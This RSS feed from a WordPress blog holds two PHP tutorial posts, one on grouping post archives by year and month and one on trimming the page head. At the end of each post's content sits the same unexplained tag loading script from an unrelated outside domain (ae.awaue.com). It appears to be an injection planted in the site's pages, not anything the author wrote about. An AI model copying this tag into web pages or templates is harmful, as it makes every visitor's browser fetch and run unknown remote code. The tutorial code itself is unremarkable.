<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>robbaier.com&#187; Code Examples</title>
	<atom:link href="http://www.robbaier.com/category/code-examples/feed" rel="self" type="application/rss+xml" />
	<link>http://www.robbaier.com</link>
	<description></description>
	<lastBuildDate>Mon, 01 Dec 2008 21:56:29 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Display Archived Posts by Year and Month</title>
		<link>http://www.robbaier.com/wordpress/display-archived-posts-by-year-and-month</link>
		<comments>http://www.robbaier.com/wordpress/display-archived-posts-by-year-and-month#comments</comments>
		<pubDate>Wed, 08 Oct 2008 02:15:38 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Code Examples]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.robbaier.com/?p=223</guid>
		<description><![CDATA[Display your archive page grouped first by year, then month...]]></description>
			<content:encoded><![CDATA[<p>As I was implementing my new site, I couldn&#8217;t quite get my <a href="/archives">archives page</a> to display the way I intended.  What I wanted was a list of months grouped by year.  Wordpress has a function built in called <a href="http://codex.wordpress.org/Template_Tags/wp_get_archives">wp_get_archives</a> that will display your archives by month, but this can generate a very long list, and it does not group by year like I wanted.  I also found <a href="http://codex.wordpress.org/Creating_an_Archive_Index#List_Archives_By_Year">this example</a>, which is closer to what I wanted, but still not quite right.  I also looked at a few plugins, but I ultimately decided  to just write the code myself.</p>
<p><span id="more-223"></span></p>
<p>If you decide to implement this code, you will likely want to put the following code into your archives page (probably archives.php) in your theme directory.  This will get you a monthly archive like the one on my <a href="/archives">archives page</a>.</p>
<pre lang="php">
<?php
    $years = $wpdb->get_col("SELECT DISTINCT YEAR(post_date) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date DESC");
    foreach($years as $year) :
        echo '
<h4>' . $year . '</h4>

';
        echo '
<ul>';
        $months = $wpdb->get_col("SELECT DISTINCT MONTH(post_date) FROM $wpdb->posts WHERE post_status = 'publish' AND YEAR(post_date) = '" . $year . "' AND post_type = 'post' ORDER BY post_date DESC");
        foreach($months as $month) :
            $count = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->posts WHERE post_status = 'publish' AND MONTH(post_date) = '" . $month . "' AND YEAR(post_date) = '" . $year . "' AND post_type = 'post'");
            echo '
<li><a href="' . get_month_link($year, $month) . '">' . date("F", mktime(0, 0, 0, $month, 1, $year)) . '</a> (' . $count . ')</li>

';
        endforeach;
        echo '</ul>

';
    endforeach;
?>
</pre>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.robbaier.com/wordpress/display-archived-posts-by-year-and-month/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Clear Your (Wordpress) Head</title>
		<link>http://www.robbaier.com/wordpress/clear-your-wordpress-head</link>
		<comments>http://www.robbaier.com/wordpress/clear-your-wordpress-head#comments</comments>
		<pubDate>Fri, 03 Oct 2008 03:03:40 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Code Examples]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.robbaier.com/?p=207</guid>
		<description><![CDATA[Reduce the bloat of your Wordpress head and reduce page load times...]]></description>
			<content:encoded><![CDATA[<p>If you maintain a site based on Wordpress, you may have noticed that the <code>head</code> section of your pages can get out of control rather quickly, especially if you have a lot of plugins installed.  It is fairly easy to eliminate some of this unnecessary bloat.</p>
<p><span id="more-207"></span></p>
<p>Look in your theme directory (<code>/wp-content/themes/themedir</code>) and you should see a functions.php file.  If not, you&#8217;ll need to create the file.  Here is an example of what I added to help clean up my head section:</p>
<pre lang="php">
<?php
	remove_action('wp_head', 'rsd_link');
	remove_action('wp_head', 'wlwmanifest_link');
	remove_action('wp_head', 'wp_generator');
	remove_action('wp_footer', array('adsensem','footer'));
?>
</pre>
<p>Here is what that code accomplishes:</p>
<ul>
<li>The first line removes the <a href="http://en.wikipedia.org/wiki/Really_Simple_Discovery">Really Simple Discovery</a> link.</li>
<li>The second line removes the <a href="http://get.live.com/writer/overview">Windows Live Writer</a> link.</li>
<li>The third line removes the Wordpress version.</li>
<li>And since I use the <a href="http://wordpress.org/extend/plugins/adsense-manager/">Adsense Manager</a> plugin, I wanted to get rid of the comment that gets added to the footer.  The last line accomplishes that.</li>
</ul>
<p>Of course, you could hunt down the source of the lines that get added to the head section in the Wordpress source code, but any changes you make to those files would be overwritten if you upgrade your Wordpess install.  By making the changes to the functions.php file in your theme directory instead, you will be able to upgrade without fear of overwriting your changes.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.robbaier.com/wordpress/clear-your-wordpress-head/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
